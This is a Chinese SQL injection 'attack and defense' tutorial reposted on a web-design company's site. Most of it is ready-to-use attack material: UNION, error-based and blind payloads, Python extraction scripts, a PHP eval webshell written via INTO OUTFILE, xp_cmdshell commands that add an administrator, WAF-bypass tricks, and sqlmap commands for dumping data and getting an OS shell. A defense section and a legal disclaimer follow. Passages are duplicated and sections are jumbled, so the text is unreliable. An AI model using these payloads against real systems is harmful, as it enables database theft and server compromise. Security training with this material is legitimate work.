尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SQL注入实战攻防:从入门到绕过WAF,从零基础入门到精通,收藏这一篇就够了!

SQL注入实战攻防:从入门到绕过WAF,从零基础入门到精通,收藏这一篇就够了!
📅 发布时间:2026/6/20 0:50:09

SQL注入实战攻防:从入门到绕过WAF

前段时间帮朋友的公司做渗透测试,在一个看似防护严密的系统上发现了SQL注入漏洞。这让我意识到,即使在2025年,SQL注入依然是Web安全的头号威胁。今天就来聊聊SQL注入的完整攻防链路,从最基础的原理到高级的WAF绕过技巧。

为什么SQL注入至今仍是最危险的漏洞

翻看最近几年的安全事件通报,SQL注入漏洞导致的数据泄露事件依然占据榜首。2024年某电商平台因SQL注入导致千万级用户数据泄露,某政务系统因注入漏洞被植入后门。这些都不是新闻,而是一直在发生的现实。

SQL注入的危险之处在于:

  • • 攻击门槛低,网上有大量现成工具和教程
  • • 危害极大,可以直接读取、修改、删除数据库内容
  • • 利用链长,可以从注入点延伸到文件读写、命令执行
  • • 隐蔽性强,很多注入点隐藏在复杂业务逻辑中

从零开始:理解SQL注入的本质

最近在给团队做培训时,我发现很多开发同学对SQL注入的理解还停留在' or 1=1--这种教科书式的例子。实际上,SQL注入的核心是代码与数据的边界混淆。

举个最简单的例子,一个用户搜索功能:

SELECT * FROM products WHERE name LIKE '%$keyword%'

当用户输入iPhone时,查询正常执行。但如果输入%' UNION SELECT username,password FROM users--,查询就变成了:

SELECT * FROM products WHERE name LIKE '%%' UNION SELECT username,password FROM users--%'

数据库会先执行正常查询,然后执行 UNION 拼接的恶意查询,返回用户表的所有账号密码。

这就是SQL注入的本质:用户输入被当作SQL代码执行,而不是纯粹的数据。

注入类型详解:不只是UNION查询

1. 联合查询注入(UNION-based)

这是最直观也是教程中最常见的注入方式。核心思路是利用 UNION 操作符合并查询结果。

实战案例:某企业内部管理系统的用户查询功能

原始请求:/user.php?id=1 正常返回:显示ID为1的用户信息 注入测试:/user.php?id=1' ORDER BY 5-- 返回:数据库报错(说明列数少于5) 注入测试:/user.php?id=1' ORDER BY 3-- 返回:正常(说明查询结果有3列) 构造payload:/user.php?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- 返回:数据库中所有表名 进一步提取:/user.php?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='admin'-- 返回:admin表的所有字段名 最终获取数据:/user.php?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM admin-- 返回:管理员账号密码

关键点:

  • • 使用 ORDER BY 判断列数
  • • 前面查询ID设为-1让原查询无结果,突出UNION结果
  • • 利用 group_concat 将多行结果合并为一行
  • • information_schema 是MySQL的系统库,存储了数据库结构信息1,concat(username,‘:’,password),3 FROM admin–
    返回:管理员账号密码
**关键点**: - 使用 ORDER BY 判断列数 - 前面查询ID设为-1让原查询无结果,突出UNION结果 - 利用 group_concat 将多行结果合并为一行 - information_schema 是MySQL的系统库,存储了数据库结构信息 ### 2. 报错注入(Error-based) 当页面不显示查询结果,但会显示数据库错误信息时,可以利用特定函数触发报错,将数据包含在错误信息中。 **MySQL常用报错函数**: ```sql -- extractvalue报错 ' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))-- -- updatexml报错 ' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -- floor报错 ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand()*2))x FROM information_schema.tables GROUP BY x)a)--

实战中的坑:

  • • 报错注入有长度限制(通常32字符),需要配合 substr 函数分段提取
  • • 有些WAF会拦截 concat、0x7e 等关键字,需要编码绕过
  • • 某些数据库配置会关闭错误显示,这时报错注入失效
3. 布尔盲注(Boolean-based Blind)

页面不显示查询结果,也不显示错误,只能通过页面响应的差异判断注入语句是否执行成功。

判断逻辑:

-- 测试注入点 /news.php?id=1' AND '1'='1 (页面正常) /news.php?id=1' AND '1'='2 (页面异常) -- 判断数据库名称长度 /news.php?id=1' AND length(database())>5-- (正常,说明数据库名大于5个字符) /news.php?id=1' AND length(database())>10-- (异常,说明数据库名不大于10个字符) -- 逐位猜解数据库名 /news.php?id=1' AND substr(database(),1,1)='t'-- (正常,第一位是t) /news.php?id=1' AND substr(database(),2,1)='e'-- (正常,第二位是e)

效率问题:
布尔盲注需要大量请求,一个10字符的字符串理论上需要 10 * 95(可打印字符数)= 950 次请求。实际操作中:

  • • 先判断长度,减少猜测次数
  • • 使用二分法:ascii(substr(database(),1,1))>100快速定位
  • • 编写自动化脚本批量测试
4. 时间盲注(Time-based Blind)

比布尔盲注更隐蔽,通过页面响应时间判断。适用于页面无论如何都返回相同内容的场景。

MySQL延时函数:

-- sleep函数 ' AND IF(length(database())>5,sleep(5),0)-- -- benchmark函数 ' AND IF(substr(database(),1,1)='t',benchmark(5000000,md5('test')),0)--

实战经验:
去年遇到一个API接口,无论输入什么都返回{"status":"success"},只能用时间盲注。写了个Python脚本,利用多线程加速:

import requests import time def check_char(pos, char): url = f"http://target.com/api/search" payload = f"' AND IF(substr(database(),{pos},1)='{char}',sleep(3),0)--" start = time.time() requests.get(url, params={'q': payload}, timeout=5) return (time.time() - start) > 2.5 # 考虑网络延迟

整个数据库名用了大概半小时才跑出来,但确实是唯一可行的方法。

5. 堆叠查询注入(Stacked Queries)

在支持多语句执行的数据库中(如SQL Server、PostgreSQL),可以用分号分隔执行多条SQL语句。

-- 创建新管理员 '; INSERT INTO admin(username,password) VALUES('hacker','123456')-- -- 删除日志 '; DELETE FROM logs WHERE 1=1-- -- 修改数据 '; UPDATE users SET role='admin' WHERE username='test'--

危险性:
堆叠查询的危害远超数据读取,可以直接修改数据、执行系统命令(xp_cmdshell)、创建后门。好在MySQL的mysqli和PDO默认不支持堆叠查询,但其他数据库要特别注意。

不同数据库的注入差异

在实战中,不同数据库的注入手法差异很大。以前做项目时踩过不少坑,这里总结一些关键区别:

MySQL注入

优势:

  • • 有 information_schema 可以轻松获取结构信息
  • • 函数丰富,绕过方法多
  • • 支持 UNION 查询和多种报错注入

特色技巧:

-- 读取文件 ' UNION SELECT 1,load_file('/etc/passwd'),3-- -- 写入文件(需要secure_file_priv配置允许) ' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -- 绕过空格过滤 '/**/UNION/**/SELECT/**/1,2,3-- '%0aUNION%0aSELECT%0a1,2,3--
SQL Server注入

特色:

  • • 支持堆叠查询,危害更大
  • • 可以通过 xp_cmdshell 执行系统命令
  • • 有丰富的系统存储过程可利用

实战案例:

-- 启用xp_cmdshell '; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE-- -- 执行系统命令 '; EXEC xp_cmdshell 'whoami'-- -- 添加管理员用户 '; EXEC xp_cmdshell 'net user hacker Password123! /add'-- '; EXEC xp_cmdshell 'net localgroup administrators hacker /add'--

去年遇到一个SQL Server注入,直接通过 xp_cmdshell 下载了远程木马,拿到了服务器权限。当然这是在授权测试环境下,实际攻击是违法的。

PostgreSQL注入

特点:

  • • 功能强大但语法独特
  • • 支持数组、JSON等复杂数据类型
  • • 有 COPY 命令可以读写文件

常用payload:

-- 查询当前用户 ' UNION SELECT null,current_user,null-- -- 查询所有表 ' UNION SELECT null,tablename,null FROM pg_tables WHERE schemaname='public'-- -- 读取文件 '; CREATE TABLE temp(data text);COPY temp FROM '/etc/passwd';SELECT * FROM temp--
Oracle注入

难点:

  • • 语法严格,每个SELECT必须有FROM
  • • 使用 dual 虚拟表
  • • 字符串拼接用||而不是+
-- 基础查询 ' UNION SELECT null,user,null FROM dual-- -- 查询表名 ' UNION SELECT null,table_name,null FROM all_tables-- -- 查询列名 ' UNION SELECT null,column_name,null FROM all_tab_columns WHERE table_name='USERS'--

WAF绕过技巧:实战经验总结

这部分是整篇文章的重点。现在大部分网站都部署了WAF(Web应用防火墙),简单的注入payload会被直接拦截。以下是我这几年总结的绕过技巧。

1. 大小写混淆

最简单但有时有效的方法:

原始:' UNION SELECT 绕过:' UnIoN SeLeCt 绕过:' uNiOn sElEcT

有些WAF的规则是区分大小写的,简单的大小写变换就能绕过。虽然现在这种低级WAF不多了,但偶尔还能遇到。

2. 编码绕过

URL编码:

原始:' UNION SELECT 一次编码:%27%20UNION%20SELECT 二次编码:%2527%2520UNION%2520SELECT

十六进制编码(MySQL):

原始:' UNION SELECT 1,'admin',3-- 编码:' UNION SELECT 1,0x61646d696e,3--

Unicode编码:

%u0027 = ' %u0055NION = UNION
3. 注释符混淆

MySQL支持多种注释符,可以用来绕过空格、关键字检测:

-- 内联注释 '/**/UNION/**/SELECT/**/1,2,3-- -- 版本注释(只在特定版本执行) '/*!50000UNION*//*!50000SELECT*/1,2,3-- -- 多行注释嵌套 '/*! UNION */ /*! SELECT */ 1,2,3--

实战案例:
某次测试中,WAF拦截了所有包含UNION SELECT的请求。使用内联注释/**/替代空格后成功绕过:

原始payload(被拦截): ' UNION SELECT 1,2,3-- 绕过payload(成功): '/**/UNION/**/SELECT/**/1,2,3--

实战技巧:
去年测试一个系统,WAF拦截了AND、OR关键字,但&&、||可以通过:

%20 (空格) %09 (Tab) %0a (换行) %0b (垂直Tab) %0c (换页) %0d (回车) %a0 (不间断空格) + (加号,在某些场景下) /**/ (注释) () (括号,在某些位置)

关键字替换:

AND => && OR => || = => LIKE / REGEXP / RLIKE > => GREATEST SUBSTR => MID / SUBSTRING ASCII => ORD BENCHMARK => SLEEP

实战技巧:
去年测试一个系统,WAF拦截了AND、OR关键字,但&&、||可以通过:

被拦截:' AND 1=1-- 绕过:' && 1=1-- 被拦截:' OR 1=1-- 绕过:' || 1=1--
4. 等价替换

空格替换:

有些WAF对请求长度有限制,超长payload可能导致WAF解析失败而放行:

' UNION SELECT 1,2,3[...大量垃圾字符...]--

在实际测试中,我会在关键payload前后添加大量无害字符:

'/*aaaaaaaaaa...重复几千个a...*/UNION/*bbbbbb...*/SELECT/*cccccc...*/1,2,3--

有时候WAF的处理缓冲区只有几KB,超出后直接放行。不过这个方法成功率不高,主要是试试运气。

6. 分块传输绕过

在HTTP协议层面做文章。如果WAF在应用层检测,但服务器支持chunked编码,可以尝试分块传输:

POST /search.php HTTP/1.1 Transfer-Encoding: chunked 5 ' UNI 5 ON SE 6 LECT 1

每个chunk都是合法的,但拼接后就是完整的注入语句。这需要专门的工具实现,手工构造比较麻烦。

7. 参数污染(HPP)

某些WAF只检查第一个同名参数,可以尝试传递多个同名参数:

原始:/search.php?id=1' UNION SELECT 1,2,3-- 绕过:/search.php?id=1&id=' UNION SELECT 1,2,3--

不同的服务器对多个同名参数的处理不同:

  • • PHP/Apache:取最后一个
  • • ASP/IIS:用逗号拼接所有值
  • • JSP/Tomcat:取第一个

如果WAF和后端服务器处理不一致,就有绕过机会。

8. JSON注入

现在很多API使用JSON格式传参,有些WAF对JSON格式的检测不够严格:

原始: {"username":"admin","password":"123456"} 注入: {"username":"admin' UNION SELECT 1,2,3--","password":"123456"}

去年遇到一个案例,WAF拦截了URL参数中的SQL关键字,但JSON参数中的同样关键字却能通过。原因是WAF厂商只针对传统表单做了规则,忽略了JSON格式。

9. Tamper脚本

SQLMap自带了大量Tamper脚本,可以自动化进行各种变换:

# 空格替换为注释 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment # 使用随机大小写 sqlmap -u "http://target.com/page.php?id=1" --tamper=randomcase # 多种混淆 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between,randomcase

常用的Tamper组合:

# 针对MySQL --tamper=space2comment,between,versionedkeywords # 针对MSSQL --tamper=space2mssqlblank,charencode # 通用混淆 --tamper=randomcase,space2comment,between,charencode

也可以自己写Tamper脚本。我写过一个针对特定WAF的脚本,把所有空格替换为/**/,把UNION替换为/*!50000UNION*/,成功率提升了不少。

防御方案:开发者必读

讲了这么多攻击方法,作为安全从业者,更重要的是知道如何防御。

1. 参数化查询(最重要!)

这是防御SQL注入最有效、最根本的方法。无论如何强调都不为过。

错误示范:

// PHP $sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

正确做法:

// PHP PDO $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); // Java PreparedStatement String sql = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setInt(1, userId); // Python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

参数化查询的原理是将SQL语句的结构和数据分离。数据库会先编译SQL语句结构,用户输入只作为参数值传递,永远不会被当作SQL代码执行。

2. ORM框架的正确使用

使用ORM(对象关系映射)框架可以大大降低SQL注入风险,但要注意不要拼接原生SQL。

Django(安全):

User.objects.filter(id=user_id) # 安全 User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id]) # 安全

Django(危险):

User.objects.raw("SELECT * FROM users WHERE id = " + user_id) # 危险!

Hibernate(安全):

session.createQuery("FROM User WHERE id = :id") .setParameter("id", userId) .list();

去年代码审计时发现,很多开发为了写复杂查询,在ORM框架里直接拼接SQL字符串,完全失去了ORM的保护作用。

3. 输入验证

虽然输入验证不能作为唯一防御手段,但仍然是重要的防御层。

白名单验证:

// 数字ID验证 if (!ctype_digit($_GET['id'])) { die('Invalid ID'); } // 枚举值验证 $allowed_sort = ['name', 'date', 'price']; if (!in_array($_GET['sort'], $allowed_sort)) { die('Invalid sort field'); }

类型强制:

// 强制转换为整数 $id = (int)$_GET['id']; // 使用filter函数 $id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
4. 最小权限原则

数据库账号应该严格限制权限:

  • • Web应用使用的数据库账号不应该有DROP、CREATE、ALTER等DDL权限
  • • 不同模块使用不同的数据库账号
  • • 只读操作使用只读账号
  • • 禁止使用root或sa等高权限账号

MySQL权限配置示例:

-- 创建专用账号 CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password'; -- 只授予必要的权限 GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost'; -- 撤销文件操作权限 REVOKE FILE ON *.* FROM 'webapp'@'localhost';

去年帮一家公司做安全审计,发现他们的Web应用直接用root账号连数据库。我演示了一个注入漏洞,直接通过INTO OUTFILE写入WebShell。如果用的是受限账号,这个攻击链就会中断。

5. WAF部署

WAF不能替代安全编码,但可以作为纵深防御的一层:

开源WAF:

  • • ModSecurity:功能强大,规则丰富
  • • Naxsi(for Nginx):轻量级,适合Nginx环境

商业WAF:

  • • 阿里云WAF
  • • 腾讯云WAF
  • • CloudFlare WAF

WAF配置建议:

  • • 启用SQL注入规则集
  • • 设置合理的拦截阈值(避免误报)
  • • 定期更新规则库
  • • 监控拦截日志,及时发现攻击

需要注意的是,前面讲了这么多绕过技巧,说明WAF不是万能的。WAF应该作为辅助防护手段,而不是唯一防线。

6. 安全审计与监控

建立持续的安全监控机制:

代码审计:

  • • 使用静态代码分析工具(如SonarQube、Fortify)
  • • 人工审计关键代码
  • • Code Review强制检查SQL拼接

运行时监控:

  • • 监控异常SQL语句(包含UNION、注释符、information_schema等)
  • • 监控失败的SQL执行(大量报错可能是注入攻击)
  • • 监控慢查询(时间盲注会产生延时)

日志分析:

可疑特征: - URL参数包含单引号、双引号 - 包含SQL关键字:UNION, SELECT, INSERT, UPDATE, DELETE - 包含注释符:--, /*, # - 包含数据库函数:concat, group_concat, load_file - 异常长的参数值

我写过一个简单的日志分析脚本,每小时扫描访问日志,提取包含SQL关键字的请求,发送告警邮件。这个脚本帮助我们及时发现了多次攻击尝试。

自动化工具:SQLMap实战

最后聊聊SQLMap,这是SQL注入领域最强大的自动化工具。很多人知道SQLMap,但不一定用得好。

基础使用

最简单的测试:

sqlmap -u "http://target.com/page.php?id=1"

POST请求:

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"

从Burp导入请求:

# 在Burp中右键请求 -> Copy to file -> 保存为request.txt sqlmap -r request.txt

这是最实用的方法。在浏览器中正常操作,Burp拦截请求,导出给SQLMap分析。这样可以保持完整的Cookie、Header等信息。

进阶技巧

指定注入点:

# 使用*标记注入点 sqlmap -u "http://target.com/page.php?id=1*&type=news"

指定注入技术:

# 只测试UNION查询 sqlmap -u "http://target.com/page.php?id=1" --technique=U # 测试时间盲注和布尔盲注 sqlmap -u "http://target.com/page.php?id=1" --technique=T,B

技术类型:

  • • B: Boolean-based blind(布尔盲注)
  • • E: Error-based(报错注入)
  • • U: Union query-based(联合查询)
  • • S: Stacked queries(堆叠查询)
  • • T: Time-based blind(时间盲注)

数据提取:

# 列出所有数据库 sqlmap -u "http://target.com/page.php?id=1" --dbs # 列出指定数据库的表 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables # 列出表的字段 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns # 导出数据 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump # 只导出特定字段 sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump

文件操作:

# 读取文件 sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" # 写入文件(上传shell) sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

系统命令执行:

# 获取OS Shell(需要xp_cmdshell或其他命令执行方式) sqlmap -u "http://target.com/page.php?id=1" --os-shell # 获取SQL Shell sqlmap -u "http://target.com/page.php?id=1" --sql-shell
绕过WAF的参数
# 使用随机User-Agent sqlmap -u "http://target.com/page.php?id=1" --random-agent # 降低测试速度(避免触发频率限制) sqlmap -u "http://target.com/page.php?id=1" --delay=2 # 使用Tamper脚本 sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment # 指定风险等级和测试级别 sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3

level和risk的含义:

  • • level(1-5):测试深度,越高测试越多的payload
  • • risk(1-3):风险等级,3会测试UPDATE/DELETE等危险操作

实战案例:
去年测试一个有WAF保护的网站,常规SQLMap测试全部被拦截。最后用了这个组合成功绕过:

sqlmap -u "http://target.com/api/search" \ --data='{"keyword":"test"}' \ --headers="Content-Type: application/json" \ --random-agent \ --tamper=space2comment,between \ --delay=1 \ --level=3 \ --technique=T \ --batch

关键点:

  • • JSON格式传参绕过部分WAF规则
  • • 使用时间盲注(不产生明显异常)
  • • 添加延时避免触发频率限制
  • • Tamper脚本进行混淆

整个过程跑了2个多小时,但最终成功提取出数据库名。

SQLMap的局限性

虽然SQLMap很强大,但它不是万能的:

无法检测的场景:

  • • 需要复杂认证流程的系统
  • • 动态Token防护(每次请求Token都变化)
  • • 业务逻辑注入(需要理解业务逻辑才能构造payload)
  • • 某些自定义协议或加密传输

误报问题:
有时SQLMap会报告存在注入,但实际测试发现是误报。通常发生在:

  • • 服务器响应不稳定,导致时间盲注判断错误
  • • WAF拦截产生的特定响应被误判为注入成功
  • • 某些动态页面内容随机变化

建议:

  • • SQLMap适合快速批量检测,不适合精细化利用
  • • 对于关键系统,建议手工验证SQLMap的结果
  • • 学会看SQLMap的详细输出(-v 3参数),理解它的检测逻辑
  • • 结合Burp、手工测试等多种方式综合判断

真实案例分析

最后分享几个我经历过的真实案例(已脱敏处理)。

案例1:二次注入绕过所有防护

场景:某社交平台的用户资料修改功能

第一次测试时,所有输入点都做了严格过滤,单引号、SQL关键字全部被拦截或转义。看起来很安全。

但我注意到一个细节:用户注册时的昵称可以包含单引号(可能是为了支持 O’Brien 这种姓名)。于是我注册了一个昵称为admin'--的账号。

然后在另一个功能点(管理员查看用户列表)触发了注入。因为管理员查询用户时,直接将数据库中的昵称拼接到SQL语句中:

SELECT * FROM logs WHERE username = 'admin'--'

这就是二次注入:

    1. 第一次输入时,恶意数据被安全存储到数据库
    1. 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
    1. 绕过了所有输入验证和过滤

教训:

  • • 不要假设数据库中的数据是安全的
  • • 即使是从数据库读取的数据,也要当作不可信输入处理
  • • 所有拼接到SQL中的数据都必须参数化,无论来源
    1. 第一次输入时,恶意数据被安全存储到数据库
    1. 第二次查询时,从数据库取出的数据被当作可信数据,直接拼接到SQL中
    1. 绕过了所有输入验证和过滤

教训:

  • • 不要假设数据库中的数据是安全的
  • • 即使是从数据库读取的数据,也要当作不可信输入处理
  • • 所有拼接到SQL中的数据都必须参数化,无论来源
案例2:宽字节注入

场景:某电商网站使用GBK编码

网站对用户输入做了addslashes()处理,单引号前会加反斜杠转义:

输入:' 转义后:\'

看起来很安全,但如果数据库使用GBK编码,可以利用宽字节注入绕过。

攻击过程:

输入:%df' 处理后:%df\' GBK解析:%df%5c = 運(一个汉字),后面的单引号不在转义 实际效果:運'(单引号逃逸出来了)

完整payload:

%df' UNION SELECT 1,2,3--

防御方法:

  • • 使用mysql_real_escape_string()而不是addslashes()
  • • 设置数据库连接字符集:SET NAMES 'gbk'
  • • 更好的做法:使用参数化查询

这个案例让我意识到,字符编码问题可能带来意想不到的安全风险。

案例3:布尔盲注的耐心战

场景:某API接口,无论输入什么都返回固定JSON

{"code":200,"msg":"success","data":[]}

没有报错信息,没有数据显示,看起来无从下手。但我注意到,当SQL语句出错时,返回的data字段是空的;正常时会返回数据。

于是用布尔盲注逐位猜解:

import requests import string url = "http://api.target.com/search" result = "" for pos in range(1, 20): # 假设数据库名不超过20字符 for char in string.ascii_lowercase + string.digits + '_': payload = f"' AND substr(database(),{pos},1)='{char}'--" response = requests.get(url, params={'q': payload}) if '"data":[]' not in response.text: # 有数据返回说明条件为真 result += char print(f"Position {pos}: {char} -> Current: {result}") break else: break # 没有字符匹配,说明到达末尾 print(f"Database name: {result}")

整个过程很枯燥,跑了近1小时,但最终成功获取了数据库名shop_system_v2。

然后继续用同样方法提取表名、字段名、数据。整个渗透测试花了大半天,但证明了即使看起来密不透风的系统,只要存在注入点,就能突破。

感悟:

  • • 安全测试需要耐心和毅力
  • • 自动化工具很重要,但手工分析同样关键
  • • 细节决定成败,要善于观察响应的微小差异

防御检查清单

最后给开发者和安全人员提供一个实用的检查清单:

代码层面:

  • • 所有SQL查询都使用参数化查询或预编译语句
  • • 没有任何地方直接拼接用户输入到SQL语句
  • • ORM框架正确使用,没有拼接原生SQL
  • • 输入验证使用白名单而非黑名单
  • • 对数字类型参数进行强制类型转换
  • • 敏感操作有二次验证(密码、验证码)

数据库层面:

  • • Web应用使用受限权限的数据库账号
  • • 禁止使用root/sa等高权限账号
  • • 不同模块使用不同数据库账号(权限隔离)
  • • 禁用不必要的危险功能(如xp_cmdshell、LOAD_FILE)
  • • 关闭数据库错误信息显示(生产环境)

架构层面:

  • • 部署WAF并定期更新规则
  • • 配置日志监控和告警机制
  • • 定期进行安全审计和渗透测试
  • • 建立安全事件响应流程
  • • 代码上线前进行安全审查

开发流程:

  • • 将安全培训纳入新员工入职流程
  • • Code Review时重点检查SQL拼接
  • • 使用SAST工具自动检测代码漏洞
  • • CI/CD流程集成安全测试
  • • 维护安全编码规范文档

写在最后

SQL注入虽然是个"老"漏洞,但至今仍然广泛存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。

作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。

核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。

安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。

最后提醒:

    1. 本文内容仅供学习交流,请勿用于非法用途
    1. 未经授权的渗透测试是违法行为
    1. 对自己的系统进行安全测试前,请先备份数据

希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。


推荐阅读:

  • • OWASP SQL Injection Prevention Cheat Sheet
  • • SQLMap官方文档
  • • 《Web安全深度剖析》
  • • 《代码审计:企业级Web代码安全架构》

相关工具:

  • • SQLMap:https://sqlmap.org/
  • • Burp Suite:https://portswigger.net/burp
  • • DVWA(练习环境):https://github.com/digininja/DVWA
  • • SQLi-Labs(注入靶场):https://github.com/Audi-1/sqli-labs

存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。

作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。

核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

参数化查询不是什么高深技术,但它能防御99%的SQL注入攻击。可惜很多开发者为了省事,仍在用字符串拼接。这就像明知道安全带能救命,却嫌麻烦不系一样。

安全不是某个人的责任,而是整个团队的文化。从产品经理到开发人员,从测试工程师到运维人员,每个人都应该有基本的安全意识。

最后提醒:

    1. 本文内容仅供学习交流,请勿用于非法用途
    1. 未经授权的渗透测试是违法行为
    1. 对自己的系统进行安全测试前,请先备份数据

希望这篇文章能帮助大家更好地理解SQL注入的攻防技术。如果有问题或想交流的,欢迎在评论区留言。


推荐阅读:

  • • OWASP SQL Injection Prevention Cheat Sheet
  • • SQLMap官方文档
  • • 《Web安全深度剖析》
  • • 《代码审计:企业级Web代码安全架构》

相关工具:

  • • SQLMap:https://sqlmap.org/
  • • Burp Suite:https://portswigger.net/burp
  • • DVWA(练习环境):https://github.com/digininja/DVWA
  • • SQLi-Labs(注入靶场):https://github.com/Audi-1/sqli-labs

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多**网络安全&挖漏洞方面**的知识和工具,可以看看以下面!

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。




因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

相关新闻

  • 成都自助洗车机加盟推荐:2025 年权威榜发布 - 朴素的承诺
  • 科研开题的“智慧锦囊”:书匠策AI开题报告功能,解锁学术新姿势
  • 【企业安全防线重建】:基于Open-AutoGLM的日志查询权限分级方案详解

最新新闻

  • 2026年江苏同等学力申硕机构:为何沃顿教育持续? - 品牌鉴赏官2026
  • LPC3130/3131 LCD接口配置全解析:从引脚复用到驱动实战
  • 2026年更新:国内加热美食机批发商哪个好?湖南中吉综合实力深度解析 - 品牌鉴赏官2026
  • MC68340指令集深度解析:从CISC寻址到系统控制与性能优化
  • 深入解析MC68HC908EY16A:8位MCU架构、外设与低功耗设计实战
  • MC68HC908看门狗与CPU核心:嵌入式系统可靠性的硬件守护者

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号